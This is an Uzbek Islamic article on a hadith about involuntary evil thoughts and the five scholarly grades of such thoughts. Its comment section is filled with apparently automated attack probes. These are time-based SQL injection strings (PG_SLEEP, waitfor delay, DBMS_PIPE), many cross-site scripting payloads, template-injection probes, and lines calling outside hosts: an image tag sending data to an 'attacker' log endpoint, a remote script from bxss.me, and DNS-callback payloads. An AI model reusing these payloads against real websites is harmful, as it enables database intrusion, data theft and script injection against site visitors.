21.11.2024

YOMON HAYOLLAR VA GUMONLAR BANDANI GUNOHKOR QILADIMI ?

عن أبي هريرة رضي الله عنه، قال : قال رسول الله صلى الله عليه و سلم :{"إن الله تعالى

 تجاوز عن أمتي ما وسوست به صدورها، ما لم تعمل به أو تتكلم"}.

Abu Hurayra roziyallohu anhudan rivoyat qilinadi : Nabiy sollallohu alayhi va sallam : “ Alloh taolo ummatimdan ularning qalblarida bo’ladigan vasvasalarni, modomiki, unga amal qilmas va so’zlamas ekanlar avf etib yuboradi”, dedilar.

Bu hadising sharhiga kirishishdan oldin “vasvasa” borasida to’xtalib o’tamiz!

Vasvasa lug’atda “past ovoz” va “maxfiy gap” ma’nosida ishlatiladi. Istiloxda esa : “ Vasvasa – iymon taqozo qiluvchi  narsalarga zid keluvchi yomon hayollardir. Bu yomon hayollar isnonni gunohga chorlaydi va qalbda gunohga moyillikni paydo qiladi “. Agar hayollarga yaxshilikka, Allohninh toatiga chorlasa bu , batahqiq, ilhom bo’ladi. Vasvasalar asli shaytonning ishidir. U ham bir o’g’ri kabidir. O’g’ri qimmatli narsa bor joyga kirgani kabi shayton ham bandaning ikki dunyodagi yutug’i “iymon” joylashgan qalbga vasvasa soladi va gunohga undaydi. Ulamolar insonning hayolidan kechadigan bunga o’xshash vasvasani 5 turga ajratdilar. Jumladan : 1) Xojis , 2) Xotir, 3) Hadisun nafs, 4) Xamm, 5) Azm

“Xojis” – insonning qalbida bir paydo bo’lib, unda qaror topmasdan tezda ketadigan hayol. Bunaqangi hayollar uchun banda hisob-kitob qilinmaydi in shaa Alloh .

“Xotir” – bandaning qalbida paydo bo’lib, bir muddatdan yo’q bo’ladigan hayol. Qalbda bir muddat turgani uchun bandani gunohga undolmaydi va bur turdagi vasvasa uchun ham hisob bo’lmaydi.

“Hadisun nafs” – inson qalbida paydo bo’lib, biroz qaror topadi. Bu hayolning qaror topishi natijasida inson qilish va qilmaslik kabi tanlov o’rtasida qoladi va qilmaslik yo’li ustunroq boladi.

“Xamm” – oldingi o’tgan turidan sal qaror topish jihatidan sal ziyoda bo’ladigan hayol. insonning bu vasvasa qilishlikka moyilligi ustun keladi. Lekin , meroj borasidagi hadisda zikr qilinganidek, agar inson yomon ishni qasd qilsa, biroq uni qilmasa gunoh bo’lmaydi. Avvalgi ummatlar uchun yomon ishni qasd qilaturib uni qilmasa ham,  qasdi uchun  gunohkor bo’lishgan.

Azm darajasidagi hayolda yaxshi ishni qilishni qasd qilgani savob bo’lganidek, yomonlikka azm-u qarori bilan gunohkor bo’ladi. Bu jumhur ulamolar va fuqaholarning tutgan yo’llaridir. Ba’zi ulamolar esa :”Agar yomon ishni azm qilsa gunoh yoq, yaxshilikni iroda qilsa savob bo’ladi”, deydilar.

Bu hadisimizdagi vasvsadan murod “xamm” darajadagi bo’lgan hali “azm” darajasiga ko’tarilmagan vasvasadir. Shuningdek , bu hadisi sharif ijmo bilan “ba’zisi xoslangan om” qabilidadir. Shu sababidan bu o’rinda azmdan boshqa vasvasalar tushilinadi.

Bundan kelib chiqadiki, ixtiyorsiz ravishda qalbga har xil yomon o’ylar kelsa va uning taqozosi bilan ish qilmasa va tiliga chiqarmasa, iymonga hech qanday ziyon yetmaydi. Lekin shaytonning vasvasasidan saqlanishga harakat qilmoq kerak. Agar vaqtida undan saqlanmasa, vasvasaning yuqori darajasigacha vasvasa qilishda bardavom bo’ladi. Tariqat mashoyixlari mazkur vasvasalardan qutilish borasida bir nechta o’zlarining hammaga manfaatli bo’ladigan ko’rsatmalarini berganlar. Ulardan asosiy oson bo’lgan ba’zilarini sanab o’tishikni joiz topdik:

  1. Banda vasvasalarga e’tibor qaratmasdan o’zining bajarib turgan solih amallarida bardavom bo’lishga intilishi natijasida vasavasa o’z-o’zidan ko’tarilib ketadi in shaa Alloh.
  2. Shariatda “azm” darajasiga yetmagan vasvasalarga gunoh va azob yo’qligini tez-tez yodga olsin. Beixtiyor sodir bo’ladigan bu vasvasalar gunoh bo’lmasligini bilgan insondan vasvasaning mashaqqati ko’tariladi. Bu vasvasalarga e’tibor qilmasdan, sabr bilan hayli ishda turishda ajr-u savob berilishini umid qilish kerak !


MUHAMMAD YUSUF domla SHЕRMATOV
Imom Faxriddin ar-Roziy islom bilim yurti mudarrisi.

Izoh qoldirish

Izohlar

10.01.2025 01:17
20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
10.01.2025 01:17
20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
10.01.2025 01:17
MgK6SMBi') OR 254=(SELECT 254 FROM PG_SLEEP(12))--
10.01.2025 01:17
YG6liHWu')) OR 373=(SELECT 373 FROM PG_SLEEP(12))--
10.01.2025 01:17
zqEUBji6' OR 795=(SELECT 795 FROM PG_SLEEP(12))--
10.01.2025 01:17
-1)) OR 759=(SELECT 759 FROM PG_SLEEP(12))--
10.01.2025 01:17
-5) OR 281=(SELECT 281 FROM PG_SLEEP(12))--
10.01.2025 01:17
-5 OR 512=(SELECT 512 FROM PG_SLEEP(12))--
10.01.2025 01:17
mH4uwZh4'; waitfor delay '0:0:12' --
10.01.2025 01:17
1 waitfor delay '0:0:12' --
10.01.2025 01:17
-1); waitfor delay '0:0:12' --
10.01.2025 01:17
-1; waitfor delay '0:0:12' --
10.01.2025 01:16
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
10.01.2025 01:16
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
10.01.2025 01:16
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
10.01.2025 01:16
if(now()=sysdate(),sleep(12),0)
10.01.2025 01:16
-1' OR 2+501-501-1=0+0+0+1 or 'w315ks7n'='
10.01.2025 01:16
20<img sRc='http://attacker-9182/log.php?
10.01.2025 01:16
-1" OR 2+160-160-1=0+0+0+1 --
10.01.2025 01:16
322'
10.01.2025 01:16
20<gqR9Hy<
10.01.2025 01:16
-1 OR 2+708-708-1=0+0+0+1 --
10.01.2025 01:16
-1 OR 2+182-182-1=0+0+0+1
10.01.2025 01:16
20<CQ83yo x=9123>
10.01.2025 01:16
-1' OR 2+363-363-1=0+0+0+1 --
10.01.2025 01:16
20<WRK7R7>MOJLU[!+!]</WRK7R7>
10.01.2025 01:16
20<ifRAme sRc=9718.com></IfRamE>
10.01.2025 01:16
THdLs3D6
10.01.2025 01:16
20xgNvY <ScRiPt >SMT9(9025)</ScRiPt>
10.01.2025 01:16
20}body{acu:Expre/**/SSion(SMT9(9764))}
10.01.2025 01:16
20<% contenteditable onresize=SMT9(9719)>
10.01.2025 01:16
20
10.01.2025 01:16
[url=http://xss.bxss.me][/url]
10.01.2025 01:16
20
10.01.2025 01:16
20<img<!-- --> src=x onerror=alert(9633);//><!-- -->
10.01.2025 01:16
<a HrEF=jaVaScRiPT:>
10.01.2025 01:16
<a HrEF=http://xss.bxss.me></a>
10.01.2025 01:16
20<input autofocus onfocus=SMT9(9487)>
10.01.2025 01:16
20&lt;ScRiPt&gt;SMT9(9901)&lt;/sCripT&gt;
10.01.2025 01:16
%32%30%3C%53%63%52%69%50%74%20%3E%53%4D%54%39%289814%29%3C%2F%73%43%72%69%70%54%3E
10.01.2025 01:16
20\u003CScRiPt\SMT9(9931)\u003C/sCripT\u003E
10.01.2025 01:16
20<img src=xyz OnErRor=SMT9(9244)>
10.01.2025 01:16
20<img/src=">" onerror=alert(9724)>
10.01.2025 01:16
20<body onload=SMT9(9731)>
10.01.2025 01:16
20<img src=//xss.bxss.me/t/dot.gif onload=SMT9(9258)>
10.01.2025 01:16
20<isindex type=image src=1 onerror=SMT9(9286)>
10.01.2025 01:16
20<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9512'>
10.01.2025 01:16
20<video><source onerror="javascript:SMT9(9146)">
10.01.2025 01:16
20<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9857></ScRiPt>
10.01.2025 01:16
20<ScRiPt >SMT9(9648)</ScRiPt>
10.01.2025 01:16
20<ScR<ScRiPt>IpT>SMT9(9783)</sCr<ScRiPt>IpT>
10.01.2025 01:16
20<ScRiPt >SMT9(9898)</ScRiPt>
10.01.2025 01:16
20<WSET0U>L4ESH[!+!]</WSET0U>
10.01.2025 01:16
20<script>SMT9(9408)</script>
10.01.2025 01:16
20<ScRiPt >SMT9(9855)</ScRiPt>
10.01.2025 01:16
".gethostbyname(lc("hitln"."efjjidfvacaa9.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(81).chr(104).chr(89)."
10.01.2025 01:16
{{49721*49044}}
10.01.2025 01:16
209059862
10.01.2025 01:16
comments/.
10.01.2025 01:16
'.gethostbyname(lc('hitiy'.'ghufiirs76b57.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(70).chr(111).chr(77).'